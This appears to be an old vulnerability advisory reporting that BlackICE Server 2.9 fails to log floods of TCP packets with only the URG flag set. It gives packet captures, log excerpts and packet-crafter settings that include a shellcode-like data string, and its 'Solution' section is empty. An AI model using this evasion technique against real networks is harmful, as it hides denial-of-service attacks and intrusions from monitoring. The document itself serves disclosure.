Blackice personal firewall do not log a DOS attack if sent with URG Flag: Set. : To learn more about Blackice please visit: : http://www.networkice.com/ or http://www.iss.net/ : : : +---------------------------+ : >>> Test OS Applications <<< : +---------------------------+ : Tested on Windows 2K with SP2 : Blackice Server 2.9 car : Test was done on 4 boxes : +-----------. : The Problem \ : +-------------`---------------------------------------------------------. I never played with Blackice before even I use often. I decide to play : with it a bit last night and here is what I found. : : If you send a DOS (Denial Of Service) attack to an Blackice Server : protected box NON of your attack will be LOGGED in blackice. : : PLEASE DO NOT MIX this is not an attack on blackice. But if you are : using blackice as your ONLY IDS then you are affected. : This mean you cannot trust Blackice Logs if you was attacked with the : same type of attacks, because your blackice wont LOG these packets. : (Packets sent with URG flag SET). : : : : A packet crafted with URG FLAG SET to 1 and all others FLAG set to 0 : will pass undetected by Blackice Server version. : : Other type of packets will be detected but the detection results is not : that CORRECT. In the example below I sent a 5 packets with PUSH FLAG set: to 1 and all others to 0 this was detected by BLackice as QUESO Scan. : That is one example for many... Just play with it and you see your self.: : Now the bad issue is I was able to flood my local LAN with over 10000000: packets (URG FLAG SET) and non of these packets was captured by BICE. : : NOTE: During the attack BlackICE LIGHT WAS GOING NUTS... BUT ZERO attack: in the log or in the GUI. : : >>> PACKET DETECTED AS QUESO SCAN BUT AT LEAST WAS LOGGED <<< : >>> Sniff Cpature <<< : IP Header Length and version: 0x45 Type of service: 0x00 Total length: 78 Identifier: 11783 Flags: 0x0000 TTL: 64 Protocol: 17 (UDP) Checksum: 0xc87b Source IP: 192.168.1.103 Dest IP: 192.168.1.101 UDP Header Source port: 1031 Dest port: 137 Length: 58 Checksum: 0xb7e3 Raw Data 80 b0 00 00 00 01 00 00 00 00 00 00 20 43 4b 41 ( CKA) 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 (AAAAAAAAAAAAAAAA) 41 41 41 41 41 41 41 41 41 41 41 41 41 00 00 21 (AAAAAAAAAAAAA !) 00 01 ( ) >>> PACKET DETECTED AS QUESO SCAN BUT AT LEAST WAS LOGGED <<< : IP Header Length and version: 0x45 Type of service: 0x00 Total length: 78 Identifier: 11784 Flags: 0x0000 TTL: 64 Protocol: 17 (UDP) Checksum: 0xc87a Source IP: 192.168.1.103 Dest IP: 192.168.1.101 UDP Header Source port: 1031 Dest port: 137 Length: 58 Checksum: 0xb7e3 Raw Data 80 b0 00 00 00 01 00 00 00 00 00 00 20 43 4b 41 ( CKA) 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 (AAAAAAAAAAAAAAAA) 41 41 41 41 41 41 41 41 41 41 41 41 41 00 00 21 (AAAAAAAAAAAAA !) 00 01 ( ) : : >>> PACKET NOT DETECTED AT ALL BY BLACKICE <<< : ============================================== : IP Header Length and version: 0x45 Type of service: 0x00 Total length: 72 Identifier: 18539 Flags: 0x0000 TTL: 128 Protocol: 6 (TCP) Checksum: 0x6e28 Source IP: 192.168.1.101 Dest IP: 192.168.1.103 TCP Header Source port: 1 Dest port: 1 Sequence: 3158779 ack: 0 Header length: 0x50 Flags: 0x20 (URG ) Window Size: 512 Checksum: 0x27cb Urgent Pointer: 0 Raw Data 78 39 30 78 65 62 78 30 33 78 35 64 78 65 62 78 (x90xebx03x5dxebx) 30 35 78 65 38 78 66 38 78 66 66 78 66 66 78 00 (05xe8xf8xffxffx ) : >>> PACKET NOT DETECTED AT ALL BY BLACKICE <<< : : IP Header Length and version: 0x45 Type of service: 0x00 Total length: 40 Identifier: 11785 Flags: 0x0000 TTL: 64 Protocol: 6 (TCP) Checksum: 0xc8aa Source IP: 192.168.1.103 Dest IP: 192.168.1.101 TCP Header Source port: 1 Dest port: 1 Sequence: 0 ack: 3158811 Header length: 0x50 Flags: 0x14 (ACK RST ) Window Size: 0 Checksum: 0xf866 Urgent Pointer: 0 Raw Data () : : >>> BLACKICE LOG <<< : : : 13:00:50 27 BlackICE detection stopped 0.0.0.0 0.0.0 : 13:01:56 26 BlackICE detection started 0.0.0.0 0.0.0 : 13:05:07 2000321 Queso Scan 192.168.1.101 192.168.1.103 : 13:10:07 2000321 Queso Scan 192.168.1.101 192.168.1.103 : : >>> NOT DETECTED ATTACK WITH URG SET IS SUPPOSED TO BE HERE <<< : >>> NOT DETECTED ATTACK WITH URG SET IS SUPPOSED TO BE HERE <<< : : : >>> TCP Settings that may help you understanding what I sent <<< : [TCP] fURG=1 fACK=0 fPUSH=0 fRESET=0 fSYN=0 fFIN=0 Acknowledge=0 Sequence=0 Window=0 Offset=0 Urgent=0 Checksum=0 SpecifyTCPChecksum=0 Data=x90xebx03x5dxebx05xe8xf8xffxffx : [UDP] Checksum=0 SpecifyUDPChecksum=0 Data= : [ICMP] Type=0 Code=0 Checksum=0 SpecifyICMPChecksum=0 Data= Identifier=0 Sequence=0 Message=0 : [IP] SourceAddress= SourcePort=1 DestinationAddress= DestinationPort=1 HeaderSize=20 SpecifyHeaderSize=0 Identification=0 SpecifyIdentification=0 Checksum=0 SpecifyChecksum=0 TypeService=0 FragmentationType=2 DataSize=0 Offset=0 TTL=1 : +------------. : The Solution \ : +--------------`---------------------------------------------------------.
